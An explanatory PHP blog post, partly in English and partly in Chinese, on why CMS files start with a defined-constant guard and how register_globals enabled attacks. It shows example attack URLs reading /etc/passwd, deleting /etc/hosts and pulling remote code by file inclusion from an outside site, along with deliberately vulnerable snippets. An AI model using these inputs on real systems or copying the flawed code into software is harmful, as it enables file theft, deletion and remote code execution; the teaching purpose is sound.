That Strange PHP Code in Frameworks and CMSs

Note: To follow along with this post, it's assumed you have some basic knowledge of programming in PHP.

This article discusses a PHP code snippet that you’ve likely seen at the top of your favorite CMS or framework. You've probably read that you should always include it at the beginning of every PHP file you develop, for security reasons, although without a very clear explanation of why. I’m referring to this code:

<?php

if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly
}

This type of code is very common in WordPress files, although it appears in nearly all frameworks and CMSs. In the case of the Joomla CMS, for example, the only change is that instead of ABSPATH, it uses JEXEC. Other than that, the logic remains the same. This CMS evolved from a previous system called Mambo, which also used similar code, but with _VALID_MOS as the constant. If we go even further back, we find that the first CMS to use this kind of code was PHP-Nuke (considered by some to be the first PHP-based CMS).

The execution flow of PHP-Nuke (and most CMSs and frameworks today) consisted of sequentially loading multiple files to respond to the action the user or visitor had taken on the website. For example, imagine a website from that era hosted at example.net with this CMS installed. Every time the homepage loaded, the system executed a sequence of files in order (this is just an example, not an actual sequence): index.php => load_modules.php => modules.php. In this chain, index.php was loaded first, which then loaded load_modules.php, which in turn loaded modules.php.

This execution chain didn’t always start with the first file (index.php). In fact, anyone could bypass part of the flow by directly accessing one of the other PHP files through its URL (for example, http://example.net/load_modules.php or http://example.net/modules.php), which, as we will see, could be risky in many cases.

How was this problem solved? A security measure was introduced, adding code similar to this at the beginning of each file:

<?php

if (!eregi("modules.php", $HTTP_SERVER_VARS['PHP_SELF'])) {
    die ("You can't access this file directly...");
}

Essentially, this code, placed at the top of a file named modules.php, checked if modules.php was being accessed directly via the URL. If so, execution was stopped, displaying the message: “You can’t access this file directly…” If $HTTP_SERVER_VARS['PHP_SELF'] didn’t contain modules.php, it meant that the normal execution flow was active, allowing the script to continue.

This code, however, had some limitations. First, the code was different for each file in which it was inserted, which added complexity. Additionally, in certain situations, PHP did not assign a value to $HTTP_SERVER_VARS['PHP_SELF'], which limited its effectiveness.

So, what did the developers do? They replaced all those code snippets with a simpler and more efficient version:

<?php

if (!defined('MODULE_FILE')) {
    die ("You can't access this file directly...");
}

In this new code, which had become quite popular in the PHP community, the existence of a constant was checked. This constant was defined and assigned a value in the first file of the execution flow (index.php, home.php, or a similar file). Therefore, if this constant didn’t exist in any other file in the sequence, it meant that someone had bypassed index.php and was attempting to access another file directly.

Dangers of Directly Running a PHP File

At this point, you may be thinking that breaking the execution chain must be extremely serious. However, the truth is that, usually, it doesn’t pose a major threat.

The risk might arise when a PHP error exposes the path to our files. This shouldn’t concern us if the server is configured to suppress errors; even if errors weren’t hidden, the exposed information would be minimal, providing only a few clues to a potential attacker.

It could also happen that someone accesses files containing HTML fragments (views), revealing part of their content. In most cases, this should not be a cause for concern either.

Finally, a developer, either by mistake or lack of experience, might place risky code without external dependencies in the middle of an execution flow. This is very uncommon since framework or CMS code generally depends on other classes, functions, or external variables for its execution. So, if an attempt is made to execute a script directly through the URL, errors will arise as these dependencies won’t be found, and the execution won’t proceed.

So, why add the constant code if there is little reason for concern? The answer is this: "This method also prevents accidental variable injection through a register globals attack, preventing the PHP file from assuming it's within the application when it’s actually not."

Register Globals

Since the early days of PHP, all variables sent via URLs (GET) or forms (POST) were automatically converted into global variables. For example, if the file download.php?filepath=/etc/passwd was accessed, in the download.php file (and in those depending on it in the execution flow), you could use echo $filepath; and it would output /etc/passwd.

Inside download.php, there was no way to know if the variable $filepath was created by a prior file in the execution chain or if it was tampered with via the URL or POST. This created significant security vulnerabilities. Let’s look at an example, assuming the download.php file contains the following code:

<?php

if(file_exists($filepath)) {
    header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="'.basename($filepath).'"');
    header('Expires: 0');
    header('Cache-Control: must-revalidate');
    header('Pragma: public');
    header('Content-Length: ' . filesize($filepath));
    flush(); // Flush system output buffer
    readfile($filepath);
    exit;
}

The developer likely intended to use a Front Controller pattern for their code, meaning all web requests would go through a single entry file (index.php, home.php, etc.). This file would handle session initialization, load common variables, and finally redirect the request to a specific script (in this case, download.php) to perform the file download.

However, an attacker could bypass the intended execution sequence simply by calling download.php?filepath=/etc/passwd, as mentioned before. PHP would automatically create the global variable $filepath with the value /etc/passwd, allowing the attacker to download that file from the system. Serious problem.

This is only the tip of the iceberg since even more dangerous attacks could be executed with minimal effort. For example, in code like the following, which the programmer might have left as an unfinished script:

<?php

require_once($base_path."/My.class.php");

An attacker could execute any code by using a Remote File Inclusion (RFI) attack. If the attacker created a file My.class.php on their own site https://mysite.net containing any code they wanted to execute, they could call the vulnerable script by passing in their domain: useless_code.php?base_path=https://mysite.net, and the attack would be complete.

Another example: in a script named remove_file.inc.php with the following code:

<?php

if(file_exists($filename)) {
    if( unlink($filename) ) {
        echo "File deleted";
    }
}

an attacker could call this file directly with a URL like remove_file.inc.php?filename=/etc/hosts, attempting to delete the /etc/hosts file from the system (if the system allows it, or other files they have permission to delete).

In a CMS like WordPress, which also uses global variables internally, these types of attacks were devastating. However, thanks to the constant technique, these and other PHP scripts were protected. Let’s look at the last example:

<?php

if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly
}

if(file_exists($filename)) {
    if( unlink($filename) ) {
        echo "File deleted";
    }
}

Now, if someone attempted to access remove_file.inc.php?filename=/etc/hosts, the constant would block the access. It is essential that this is a constant because, logically, if it were a variable, an attacker could inject it.

By now, you may wonder why PHP kept this functionality if it was so dangerous. Also, if you know other scripting languages (JSP, Ruby, etc.), you’ll see they have nothing similar (which is why they also don’t use the constant technique). Recall that PHP was initially created as a C-based templating system, and this behavior made development easier. The good news is that, seeing the issues it caused, PHP maintainers introduced a php.ini directive called register_globals (enabled by default) to allow this functionality to be disabled.

But as problems persisted, they disabled it by default. Even so, many hosts kept enabling it out of fear that their clients’ projects would stop working, as much of the code at the time did not use the recommended HTTP_*_VARS variables to access GET/POST/... values but rather used global variables.

最後，看到情況沒有改善，他們做出了一個重大決定：在 PHP 5.4 中刪除此功能以避免所有這些問題。因此，今天，像我們所看到的腳本（不使用常量）通常不再是風險，除了在某些情況下出現一些無害的警告/通知。

目前使用情況

時至今日，持續技術仍然很常見。然而，不幸的現實——也是本文的原因——是很少有開發人員了解其使用背後的真正原因。

與過去的其他最佳實踐一樣（例如將參數複製到函數內部的局部變量中以避免引用問題或在私有變量中使用下劃線來區分它們），許多人繼續應用它只是因為有人曾經告訴他們這是一個良好的做法，毫無疑問它今天是否仍然增加價值。事實是，在大多數情況下，不再需要此技術。

以下是造成這種做法失去相關性的一些原因：

• 刪除 *register 全域變數：從 PHP 5.4 開始，在 PHP 中刪除了將 GET 和 POST 變數自動註冊為全域變數的功能。如果沒有*註冊全域變數，直接執行單一腳本是無害的，消除了這種技術的主要原因。

• 更好的程式碼設計：即使在PHP 5.4 之前的版本中，現代程式碼的結構也更好，通常在類別和函數中，這使得透過外部變數進行存取或操作更具挑戰性。即使是傳統上使用全域變數的 WordPress，也能最大限度地降低這些風險。

• *front-controllers的使用：如今，大多數Web 應用程式都採用精心設計的*front-controllers 來確保類別和函數程式碼僅在執行時才執行鏈結從主入口點開始。因此，如果有人嘗試單獨載入文件，除非流程從正確的入口點開始，否則邏輯不會觸發。

• 類別自動載入：隨著類別自動載入在現代開發中的廣泛使用，include 或 require 的使用顯著減少。這可以降低經驗豐富的開發人員與這些方法（例如遠端文件包含或本地文件包含）相關的風險。

• 公用程式碼和私人程式碼的分離：在許多現代 CMS 和框架中，公用程式碼（如 資產）與私有程式碼（邏輯）分開。這項措施特別有價值，因為它可以確保，如果 PHP 在伺服器上出現故障，PHP 程式碼（無論是否使用常量技術）不會暴露。儘管這種分離並不是專門為了緩解註冊全域變數而實現的，但它有助於防止其他安全問題。

• 友善 URL 的廣泛使用：如今，將伺服器配置為使用友善 URL 是常見做法，以確保應用程式邏輯的單一入口點。這使得任何人幾乎不可能單獨載入 PHP 檔案。

• 生產中的錯誤抑制：大多數現代CMS 和框架預設禁用錯誤輸出，因此攻擊者無法找到有關應用程式內部工作原理的線索，這可能會促進其他類型的攻擊。

儘管在大多數情況下不再需要此技術，但這並不意味著它永遠沒有用處。作為專業開發人員，必須分析每種情況並確定持續的技術是否與您工作的特定環境相關。這種批判性思考應該始終被應用，即使是所謂的最佳實踐。

沒有把握？這裡有一些提示

如果您仍然不確定何時應用持續技術，這些建議可能會指導您：

• 如果您認為您的程式碼可能在早於 5.4 的 PHP 版本上運行，請務必使用它。
• 如果檔案僅包含類別定義，請不要使用它。
• 如果檔案僅包含函數，請不要使用它。
• 如果檔案僅包含 HTML/CSS，請勿使用它，除非 HTML 洩漏敏感資訊。
• 如果檔案僅包含常數，請不要使用它。

對於其他一切，如果您有疑問，請應用它。在大多數情況下，它不會有害，並且可以在意外情況下保護您，尤其是在您剛開始時。隨著時間和經驗的積累，您將能夠評估何時更有效地應用此技術和其他技術。

繼續學習...

• register_globals - MediaWiki
• PHP：使用暫存器全域變數 - 手冊
• 遠端檔案包含漏洞 [LWN.net]
• Bugtraq：Mambo Site Server 版本 3.0.X 中存在嚴重安全漏洞

The above is the detailed content of That Strange PHP Code in Frameworks and CMSs. For more information, please follow other related articles on the PHP Chinese website!